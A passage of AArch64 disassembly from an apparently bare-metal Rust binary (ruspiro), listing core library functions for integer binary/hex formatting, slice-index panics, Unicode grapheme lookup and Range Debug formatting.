0000000000080f60 <_ZN4core3fmt3num51_$LT$impl$u20$core..fmt..Binary$u20$for$u20$i64$GT$3fmt17h427fbecc8e4c1936E>:
80f60: d10243ff sub sp, sp, #0x90
80f64: f9400009 ldr x9, [x0]
80f68: aa1f03e8 mov x8, xzr
80f6c: 910003ea mov x10, sp
80f70: f90043fe str x30, [sp, #128]
80f74: 5280060b mov w11, #0x30 // #48
80f78: d341fd2c lsr x12, x9, #1
80f7c: 3300012b bfxil w11, w9, #0, #1
80f80: f100053f cmp x9, #0x1
80f84: 8b08014d add x13, x10, x8
80f88: d1000508 sub x8, x8, #0x1
80f8c: aa0c03e9 mov x9, x12
80f90: 3901fdab strb w11, [x13, #127]
80f94: 54ffff08 b.hi 80f74 <_ZN4core3fmt3num51_$LT$impl$u20$core..fmt..Binary$u20$for$u20$i64$GT$3fmt17h427fbecc8e4c1936E+0x14> // b.pmore
80f98: 91020100 add x0, x8, #0x80
80f9c: f102041f cmp x0, #0x81
80fa0: 540001c2 b.cs 80fd8 <_ZN4core3fmt3num51_$LT$impl$u20$core..fmt..Binary$u20$for$u20$i64$GT$3fmt17h427fbecc8e4c1936E+0x78> // b.hs, b.nlast
80fa4: 910003e9 mov x9, sp
80fa8: b0000022 adrp x2, 85000 <__exception_handler_default>
80fac: 8b080129 add x9, x9, x8
80fb0: cb0803e5 neg x5, x8
80fb4: 91020124 add x4, x9, #0x80
80fb8: 91353442 add x2, x2, #0xd4d
80fbc: aa0103e0 mov x0, x1
80fc0: 52800021 mov w1, #0x1 // #1
80fc4: 52800043 mov w3, #0x2 // #2
80fc8: 940005fa bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
80fcc: f94043fe ldr x30, [sp, #128]
80fd0: 910243ff add sp, sp, #0x90
80fd4: d65f03c0 ret
80fd8: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80fdc: 52801001 mov w1, #0x80 // #128
80fe0: 91378042 add x2, x2, #0xde0
80fe4: 9400002b bl 81090 <_ZN4core5slice5index26slice_start_index_len_fail17h7120a3f80a76b06bE>
80fe8: d4200020 brk #0x1
80fec: 00000000 .inst 0x00000000 ; undefined
0000000000080ff0 <_ZN4core3fmt3num53_$LT$impl$u20$core..fmt..LowerHex$u20$for$u20$i64$GT$3fmt17h5b549b8f8f8626b6E>:
80ff0: d10243ff sub sp, sp, #0x90
80ff4: f940000a ldr x10, [x0]
80ff8: aa1f03e8 mov x8, xzr
80ffc: 910003e9 mov x9, sp
81000: 52800aeb mov w11, #0x57 // #87
81004: 5280060c mov w12, #0x30 // #48
81008: f90043fe str x30, [sp, #128]
8100c: 12000d4d and w13, w10, #0xf
81010: 8b08012f add x15, x9, x8
81014: 710029bf cmp w13, #0xa
81018: d1000508 sub x8, x8, #0x1
8101c: 1a8b318e csel w14, w12, w11, cc // cc = lo, ul, last
81020: f1003d5f cmp x10, #0xf
81024: 0b0d01cd add w13, w14, w13
81028: d344fd4a lsr x10, x10, #4
8102c: 3901fded strb w13, [x15, #127]
81030: 54fffee8 b.hi 8100c <_ZN4core3fmt3num53_$LT$impl$u20$core..fmt..LowerHex$u20$for$u20$i64$GT$3fmt17h5b549b8f8f8626b6E+0x1c> // b.pmore
81034: 91020100 add x0, x8, #0x80
81038: f102041f cmp x0, #0x81
8103c: 540001c2 b.cs 81074 <_ZN4core3fmt3num53_$LT$impl$u20$core..fmt..LowerHex$u20$for$u20$i64$GT$3fmt17h5b549b8f8f8626b6E+0x84> // b.hs, b.nlast
81040: 910003e9 mov x9, sp
81044: 90000022 adrp x2, 85000 <__exception_handler_default>
81048: 8b080129 add x9, x9, x8
8104c: cb0803e5 neg x5, x8
81050: 91020124 add x4, x9, #0x80
81054: 91352c42 add x2, x2, #0xd4b
81058: aa0103e0 mov x0, x1
8105c: 52800021 mov w1, #0x1 // #1
81060: 52800043 mov w3, #0x2 // #2
81064: 940005d3 bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
81068: f94043fe ldr x30, [sp, #128]
8106c: 910243ff add sp, sp, #0x90
81070: d65f03c0 ret
81074: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81078: 52801001 mov w1, #0x80 // #128
8107c: 91378042 add x2, x2, #0xde0
81080: 94000004 bl 81090 <_ZN4core5slice5index26slice_start_index_len_fail17h7120a3f80a76b06bE>
81084: d4200020 brk #0x1
...
0000000000081090 <_ZN4core5slice5index26slice_start_index_len_fail17h7120a3f80a76b06bE>:
81090: d10183ff sub sp, sp, #0x60
81094: b0000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81098: 910003e8 mov x8, sp
8109c: 910023ea add x10, sp, #0x8
810a0: f9476d29 ldr x9, [x9, #3800]
810a4: a90007e0 stp x0, x1, [sp]
810a8: 910043e0 add x0, sp, #0x10
810ac: aa0203e1 mov x1, x2
810b0: a9027fff stp xzr, xzr, [sp, #32]
810b4: a90427e8 stp x8, x9, [sp, #64]
810b8: 52800048 mov w8, #0x2 // #2
810bc: a90527ea stp x10, x9, [sp, #80]
810c0: d0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
810c4: 9137e129 add x9, x9, #0xdf8
810c8: a90123e9 stp x9, x8, [sp, #16]
810cc: 910103e9 add x9, sp, #0x40
810d0: a90323e9 stp x9, x8, [sp, #48]
810d4: 9400049b bl 82340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>
810d8: d4200020 brk #0x1
810dc: 00000000 .inst 0x00000000 ; undefined
00000000000810e0 <_ZN4core5slice5index24slice_end_index_len_fail17hb9f0a64be91517a4E>:
810e0: d10183ff sub sp, sp, #0x60
810e4: b0000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
810e8: 910003e8 mov x8, sp
810ec: 910023ea add x10, sp, #0x8
810f0: f9476d29 ldr x9, [x9, #3800]
810f4: a90007e0 stp x0, x1, [sp]
810f8: 910043e0 add x0, sp, #0x10
810fc: aa0203e1 mov x1, x2
81100: a9027fff stp xzr, xzr, [sp, #32]
81104: a90427e8 stp x8, x9, [sp, #64]
81108: 52800048 mov w8, #0x2 // #2
8110c: a90527ea stp x10, x9, [sp, #80]
81110: d0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81114: 91386129 add x9, x9, #0xe18
81118: a90123e9 stp x9, x8, [sp, #16]
8111c: 910103e9 add x9, sp, #0x40
81120: a90323e9 stp x9, x8, [sp, #48]
81124: 94000487 bl 82340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>
81128: d4200020 brk #0x1
8112c: 00000000 .inst 0x00000000 ; undefined
0000000000081130 <_ZN4core5slice5index22slice_index_order_fail17hb44310cbc3fa1d3fE>:
81130: d10183ff sub sp, sp, #0x60
81134: b0000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81138: 910003e8 mov x8, sp
8113c: 910023ea add x10, sp, #0x8
81140: f9476d29 ldr x9, [x9, #3800]
81144: a90007e0 stp x0, x1, [sp]
81148: 910043e0 add x0, sp, #0x10
8114c: aa0203e1 mov x1, x2
81150: a9027fff stp xzr, xzr, [sp, #32]
81154: a90427e8 stp x8, x9, [sp, #64]
81158: 52800048 mov w8, #0x2 // #2
8115c: a90527ea stp x10, x9, [sp, #80]
81160: d0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81164: 9138e129 add x9, x9, #0xe38
81168: a90123e9 stp x9, x8, [sp, #16]
8116c: 910103e9 add x9, sp, #0x40
81170: a90323e9 stp x9, x8, [sp, #48]
81174: 94000473 bl 82340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>
81178: d4200020 brk #0x1
8117c: 00000000 .inst 0x00000000 ; undefined
0000000000081180 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E>:
81180: 9000002a adrp x10, 85000 <__exception_handler_default>
81184: aa1f03e8 mov x8, xzr
81188: 528003ec mov w12, #0x1f // #31
8118c: 528003eb mov w11, #0x1f // #31
81190: 913bb14a add x10, x10, #0xeec
81194: 53155009 lsl w9, w0, #11
81198: 14000004 b 811a8 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x28>
8119c: 91000588 add x8, x12, #0x1
811a0: eb08016c subs x12, x11, x8
811a4: 54000129 b.ls 811c8 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x48> // b.plast
811a8: 8b4c050c add x12, x8, x12, lsr #1
811ac: b86c794d ldr w13, [x10, x12, lsl #2]
811b0: 531551ad lsl w13, w13, #11
811b4: 6b0901bf cmp w13, w9
811b8: 54ffff23 b.cc 8119c <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x1c> // b.lo, b.ul, b.last
811bc: aa0c03eb mov x11, x12
811c0: 54ffff01 b.ne 811a0 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x20> // b.any
811c4: 91000588 add x8, x12, #0x1
811c8: f100791f cmp x8, #0x1e
811cc: 540006a8 b.hi 812a0 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x120> // b.pmore
811d0: f100791f cmp x8, #0x1e
811d4: 540001e1 b.ne 81210 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x90> // b.any
811d8: 5280562b mov w11, #0x2b1 // #689
811dc: f1000509 subs x9, x8, #0x1
811e0: 54000223 b.cc 81224 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0xa4> // b.lo, b.ul, b.last
811e4: f1007d3f cmp x9, #0x1f
811e8: 54000642 b.cs 812b0 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x130> // b.hs, b.nlast
811ec: b8697949 ldr w9, [x10, x9, lsl #2]
811f0: 1200512c and w12, w9, #0x1fffff
811f4: b8687948 ldr w8, [x10, x8, lsl #2]
811f8: d355fd08 lsr x8, x8, #21
811fc: aa2803e9 mvn x9, x8
81200: ab09017f cmn x11, x9
81204: 540001c1 b.ne 8123c <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0xbc> // b.any
81208: 12000100 and w0, w8, #0x1
8120c: d65f03c0 ret
81210: 8b080949 add x9, x10, x8, lsl #2
81214: b9400529 ldr w9, [x9, #4]
81218: d355fd2b lsr x11, x9, #21
8121c: f1000509 subs x9, x8, #0x1
81220: 54fffe22 b.cs 811e4 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x64> // b.hs, b.nlast
81224: 2a1f03ec mov w12, wzr
81228: b8687948 ldr w8, [x10, x8, lsl #2]
8122c: d355fd08 lsr x8, x8, #21
81230: aa2803e9 mvn x9, x8
81234: ab09017f cmn x11, x9
81238: 54fffe80 b.eq 81208 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x88> // b.none
8123c: 4b0c000a sub w10, w0, w12
81240: f10ac51f cmp x8, #0x2b1
81244: 5280562c mov w12, #0x2b1 // #689
81248: 2a1f03e9 mov w9, wzr
8124c: 9a8c8100 csel x0, x8, x12, hi // hi = pmore
81250: 9000002c adrp x12, 85000 <__exception_handler_default>
81254: d100056b sub x11, x11, #0x1
81258: 913da18c add x12, x12, #0xf68
8125c: eb08001f cmp x0, x8
81260: 54000160 b.eq 8128c <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x10c> // b.none
81264: 3868698d ldrb w13, [x12, x8]
81268: 0b0d0129 add w9, w9, w13
8126c: 6b0a013f cmp w9, w10
81270: 54fffcc8 b.hi 81208 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x88> // b.pmore
81274: 91000508 add x8, x8, #0x1
81278: eb08017f cmp x11, x8
8127c: 54ffff01 b.ne 8125c <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0xdc> // b.any
81280: aa0b03e8 mov x8, x11
81284: 12000100 and w0, w8, #0x1
81288: d65f03c0 ret
8128c: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81290: 52805621 mov w1, #0x2b1 // #689
81294: 9139c042 add x2, x2, #0xe70
81298: 94000416 bl 822f0 <_ZN4core9panicking18panic_bounds_check17h7e98c39e5d454fafE>
8129c: d4200020 brk #0x1
812a0: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
812a4: aa0803e0 mov x0, x8
812a8: 91396042 add x2, x2, #0xe58
812ac: 14000004 b 812bc <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E+0x13c>
812b0: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
812b4: aa0903e0 mov x0, x9
812b8: 913a2042 add x2, x2, #0xe88
812bc: 528003e1 mov w1, #0x1f // #31
812c0: 9400040c bl 822f0 <_ZN4core9panicking18panic_bounds_check17h7e98c39e5d454fafE>
812c4: d4200020 brk #0x1
...
00000000000812d0 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE>:
812d0: d10283ff sub sp, sp, #0xa0
812d4: b9403028 ldr w8, [x1, #48]
812d8: a9094ff4 stp x20, x19, [sp, #144]
812dc: aa0103f3 mov x19, x1
812e0: aa0003f4 mov x20, x0
812e4: f90043fe str x30, [sp, #128]
812e8: 372005a8 tbnz w8, #4, 8139c <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0xcc>
812ec: 37280788 tbnz w8, #5, 813dc <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x10c>
812f0: f9400288 ldr x8, [x20]
812f4: d344fd09 lsr x9, x8, #4
812f8: f109c53f cmp x9, #0x271
812fc: 54000ac3 b.cc 81454 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x184> // b.lo, b.ul, b.last
81300: d28b296b mov x11, #0x594b // #22859
81304: 529c1fea mov w10, #0xe0ff // #57599
81308: f2a710cb movk x11, #0x3886, lsl #16
8130c: 90000030 adrp x16, 85000 <__exception_handler_default>
81310: f2d8bacb movk x11, #0xc5d6, lsl #32
81314: aa1f03e9 mov x9, xzr
81318: 72a0beaa movk w10, #0x5f5, lsl #16
8131c: f2e68dab movk x11, #0x346d, lsl #48
81320: 5284e20c mov w12, #0x2710 // #10000
81324: 52828f6d mov w13, #0x147b // #5243
81328: 52800c8e mov w14, #0x64 // #100
8132c: 910003ef mov x15, sp
81330: 91353e10 add x16, x16, #0xd4f
81334: aa0803f1 mov x17, x8
81338: 9bcb7d08 umulh x8, x8, x11
8133c: 8b0901e2 add x2, x15, x9
81340: d1001129 sub x9, x9, #0x4
81344: d34bfd08 lsr x8, x8, #11
81348: eb0a023f cmp x17, x10
8134c: 1b0cc512 msub w18, w8, w12, w17
81350: 53023e40 ubfx w0, w18, #2, #14
81354: 1b0d7c00 mul w0, w0, w13
81358: 53117c00 lsr w0, w0, #17
8135c: 1b0ec812 msub w18, w0, w14, w18
81360: 8b204600 add x0, x16, w0, uxtw #1
81364: 8b322612 add x18, x16, w18, uxth #1
81368: 39400401 ldrb w1, [x0, #1]
8136c: 39400000 ldrb w0, [x0]
81370: 39400643 ldrb w3, [x18, #1]
81374: 39400252 ldrb w18, [x18]
81378: 39009041 strb w1, [x2, #36]
8137c: 39008c40 strb w0, [x2, #35]
81380: 39009843 strb w3, [x2, #38]
81384: 39009452 strb w18, [x2, #37]
81388: 54fffd68 b.hi 81334 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x64> // b.pmore
8138c: 91009d29 add x9, x9, #0x27
81390: f1018d1f cmp x8, #0x63
81394: 5400066c b.gt 81460 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x190>
81398: 14000043 b 814a4 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x1d4>
8139c: f9400289 ldr x9, [x20]
813a0: aa1f03e8 mov x8, xzr
813a4: 910003ea mov x10, sp
813a8: 52800aeb mov w11, #0x57 // #87
813ac: 5280060c mov w12, #0x30 // #48
813b0: 12000d2d and w13, w9, #0xf
813b4: 8b08014f add x15, x10, x8
813b8: 710029bf cmp w13, #0xa
813bc: d1000508 sub x8, x8, #0x1
813c0: 1a8b318e csel w14, w12, w11, cc // cc = lo, ul, last
813c4: f1003d3f cmp x9, #0xf
813c8: 0b0d01cd add w13, w14, w13
813cc: d344fd29 lsr x9, x9, #4
813d0: 3901fded strb w13, [x15, #127]
813d4: 54fffee8 b.hi 813b0 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0xe0> // b.pmore
813d8: 14000010 b 81418 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x148>
813dc: f9400289 ldr x9, [x20]
813e0: aa1f03e8 mov x8, xzr
813e4: 910003ea mov x10, sp
813e8: 528006eb mov w11, #0x37 // #55
813ec: 5280060c mov w12, #0x30 // #48
813f0: 12000d2d and w13, w9, #0xf
813f4: 8b08014f add x15, x10, x8
813f8: 710029bf cmp w13, #0xa
813fc: d1000508 sub x8, x8, #0x1
81400: 1a8b318e csel w14, w12, w11, cc // cc = lo, ul, last
81404: f1003d3f cmp x9, #0xf
81408: 0b0d01cd add w13, w14, w13
8140c: d344fd29 lsr x9, x9, #4
81410: 3901fded strb w13, [x15, #127]
81414: 54fffee8 b.hi 813f0 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x120> // b.pmore
81418: 91020100 add x0, x8, #0x80
8141c: f102041f cmp x0, #0x81
81420: 54001e62 b.cs 817ec <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x51c> // b.hs, b.nlast
81424: 910003e9 mov x9, sp
81428: 90000022 adrp x2, 85000 <__exception_handler_default>
8142c: 8b080129 add x9, x9, x8
81430: cb0803e5 neg x5, x8
81434: 91020124 add x4, x9, #0x80
81438: 91352c42 add x2, x2, #0xd4b
8143c: aa1303e0 mov x0, x19
81440: 52800021 mov w1, #0x1 // #1
81444: 52800043 mov w3, #0x2 // #2
81448: 940004da bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
8144c: 36000640 tbz w0, #0, 81514 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x244>
81450: 1400003d b 81544 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x274>
81454: 528004e9 mov w9, #0x27 // #39
81458: f1018d1f cmp x8, #0x63
8145c: 5400024d b.le 814a4 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x1d4>
81460: 52828f6a mov w10, #0x147b // #5243
81464: 53023d0b ubfx w11, w8, #2, #14
81468: d1000929 sub x9, x9, #0x2
8146c: 1b0a7d6a mul w10, w11, w10
81470: 52800c8b mov w11, #0x64 // #100
81474: 53117d4a lsr w10, w10, #17
81478: 1b0ba148 msub w8, w10, w11, w8
8147c: 9000002b adrp x11, 85000 <__exception_handler_default>
81480: 91353d6b add x11, x11, #0xd4f
81484: 8b282568 add x8, x11, w8, uxth #1
81488: 910003eb mov x11, sp
8148c: 8b09016b add x11, x11, x9
81490: 3940050c ldrb w12, [x8, #1]
81494: 3940010d ldrb w13, [x8]
81498: aa0a03e8 mov x8, x10
8149c: 3900056c strb w12, [x11, #1]
814a0: 3900016d strb w13, [x11]
814a4: f100291f cmp x8, #0xa
814a8: 540000ca b.ge 814c0 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x1f0> // b.tcont
814ac: d1000529 sub x9, x9, #0x1
814b0: 1100c108 add w8, w8, #0x30
814b4: 910003ea mov x10, sp
814b8: 38296948 strb w8, [x10, x9]
814bc: 1400000b b 814e8 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x218>
814c0: 9000002a adrp x10, 85000 <__exception_handler_default>
814c4: d1000929 sub x9, x9, #0x2
814c8: 91353d4a add x10, x10, #0xd4f
814cc: 8b080548 add x8, x10, x8, lsl #1
814d0: 910003ea mov x10, sp
814d4: 8b09014a add x10, x10, x9
814d8: 3940050b ldrb w11, [x8, #1]
814dc: 39400108 ldrb w8, [x8]
814e0: 3900054b strb w11, [x10, #1]
814e4: 39000148 strb w8, [x10]
814e8: 910003e8 mov x8, sp
814ec: 528004ea mov w10, #0x27 // #39
814f0: b0000022 adrp x2, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
814f4: 8b090104 add x4, x8, x9
814f8: cb090145 sub x5, x10, x9
814fc: 91088042 add x2, x2, #0x220
81500: aa1303e0 mov x0, x19
81504: 52800021 mov w1, #0x1 // #1
81508: aa1f03e3 mov x3, xzr
8150c: 940004a9 bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
81510: 370001a0 tbnz w0, #0, 81544 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x274>
81514: d0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81518: 52800028 mov w8, #0x1 // #1
8151c: 913a8129 add x9, x9, #0xea0
81520: 910003e2 mov x2, sp
81524: a9420660 ldp x0, x1, [x19, #32]
81528: a90023e9 stp x9, x8, [sp]
8152c: b0000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81530: 91088108 add x8, x8, #0x220
81534: a9017fff stp xzr, xzr, [sp, #16]
81538: a9027fe8 stp x8, xzr, [sp, #32]
8153c: 94000409 bl 82560 <_ZN4core3fmt5write17he3850105fd3ed4faE>
81540: 340000c0 cbz w0, 81558 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x288>
81544: 52800020 mov w0, #0x1 // #1
81548: a9494ff4 ldp x20, x19, [sp, #144]
8154c: f94043fe ldr x30, [sp, #128]
81550: 910283ff add sp, sp, #0xa0
81554: d65f03c0 ret
81558: b9403268 ldr w8, [x19, #48]
8155c: 37200568 tbnz w8, #4, 81608 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x338>
81560: 37280988 tbnz w8, #5, 81690 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x3c0>
81564: f9400688 ldr x8, [x20, #8]
81568: d344fd09 lsr x9, x8, #4
8156c: f109c53f cmp x9, #0x271
81570: 54000d43 b.cc 81718 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x448> // b.lo, b.ul, b.last
81574: d28b296b mov x11, #0x594b // #22859
81578: 529c1fea mov w10, #0xe0ff // #57599
8157c: f2a710cb movk x11, #0x3886, lsl #16
81580: 90000030 adrp x16, 85000 <__exception_handler_default>
81584: f2d8bacb movk x11, #0xc5d6, lsl #32
81588: aa1f03e9 mov x9, xzr
8158c: 72a0beaa movk w10, #0x5f5, lsl #16
81590: f2e68dab movk x11, #0x346d, lsl #48
81594: 5284e20c mov w12, #0x2710 // #10000
81598: 52828f6d mov w13, #0x147b // #5243
8159c: 52800c8e mov w14, #0x64 // #100
815a0: 910003ef mov x15, sp
815a4: 91353e10 add x16, x16, #0xd4f
815a8: aa0803f1 mov x17, x8
815ac: 9bcb7d08 umulh x8, x8, x11
815b0: 8b0901e2 add x2, x15, x9
815b4: d1001129 sub x9, x9, #0x4
815b8: d34bfd08 lsr x8, x8, #11
815bc: eb0a023f cmp x17, x10
815c0: 1b0cc512 msub w18, w8, w12, w17
815c4: 53023e40 ubfx w0, w18, #2, #14
815c8: 1b0d7c00 mul w0, w0, w13
815cc: 53117c00 lsr w0, w0, #17
815d0: 1b0ec812 msub w18, w0, w14, w18
815d4: 8b204600 add x0, x16, w0, uxtw #1
815d8: 8b322612 add x18, x16, w18, uxth #1
815dc: 39400401 ldrb w1, [x0, #1]
815e0: 39400000 ldrb w0, [x0]
815e4: 39400643 ldrb w3, [x18, #1]
815e8: 39400252 ldrb w18, [x18]
815ec: 39009041 strb w1, [x2, #36]
815f0: 39008c40 strb w0, [x2, #35]
815f4: 39009843 strb w3, [x2, #38]
815f8: 39009452 strb w18, [x2, #37]
815fc: 54fffd68 b.hi 815a8 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x2d8> // b.pmore
81600: 91009d29 add x9, x9, #0x27
81604: 14000046 b 8171c <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x44c>
81608: f9400689 ldr x9, [x20, #8]
8160c: aa1f03e8 mov x8, xzr
81610: 910003ea mov x10, sp
81614: 52800aeb mov w11, #0x57 // #87
81618: 5280060c mov w12, #0x30 // #48
8161c: 12000d2d and w13, w9, #0xf
81620: 8b08014f add x15, x10, x8
81624: 710029bf cmp w13, #0xa
81628: d1000508 sub x8, x8, #0x1
8162c: 1a8b318e csel w14, w12, w11, cc // cc = lo, ul, last
81630: f1003d3f cmp x9, #0xf
81634: 0b0d01cd add w13, w14, w13
81638: d344fd29 lsr x9, x9, #4
8163c: 3901fded strb w13, [x15, #127]
81640: 54fffee8 b.hi 8161c <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x34c> // b.pmore
81644: 91020100 add x0, x8, #0x80
81648: f102041f cmp x0, #0x81
8164c: 54000d02 b.cs 817ec <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x51c> // b.hs, b.nlast
81650: 910003e9 mov x9, sp
81654: 90000022 adrp x2, 85000 <__exception_handler_default>
81658: 8b080129 add x9, x9, x8
8165c: cb0803e5 neg x5, x8
81660: 91020124 add x4, x9, #0x80
81664: 91352c42 add x2, x2, #0xd4b
81668: aa1303e0 mov x0, x19
8166c: 52800021 mov w1, #0x1 // #1
81670: 52800043 mov w3, #0x2 // #2
81674: 9400044f bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
81678: 3707f660 tbnz w0, #0, 81544 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x274>
8167c: 2a1f03e0 mov w0, wzr
81680: a9494ff4 ldp x20, x19, [sp, #144]
81684: f94043fe ldr x30, [sp, #128]
81688: 910283ff add sp, sp, #0xa0
8168c: d65f03c0 ret
81690: f9400689 ldr x9, [x20, #8]
81694: aa1f03e8 mov x8, xzr
81698: 910003ea mov x10, sp
8169c: 528006eb mov w11, #0x37 // #55
816a0: 5280060c mov w12, #0x30 // #48
816a4: 12000d2d and w13, w9, #0xf
816a8: 8b08014f add x15, x10, x8
816ac: 710029bf cmp w13, #0xa
816b0: d1000508 sub x8, x8, #0x1
816b4: 1a8b318e csel w14, w12, w11, cc // cc = lo, ul, last
816b8: f1003d3f cmp x9, #0xf
816bc: 0b0d01cd add w13, w14, w13
816c0: d344fd29 lsr x9, x9, #4
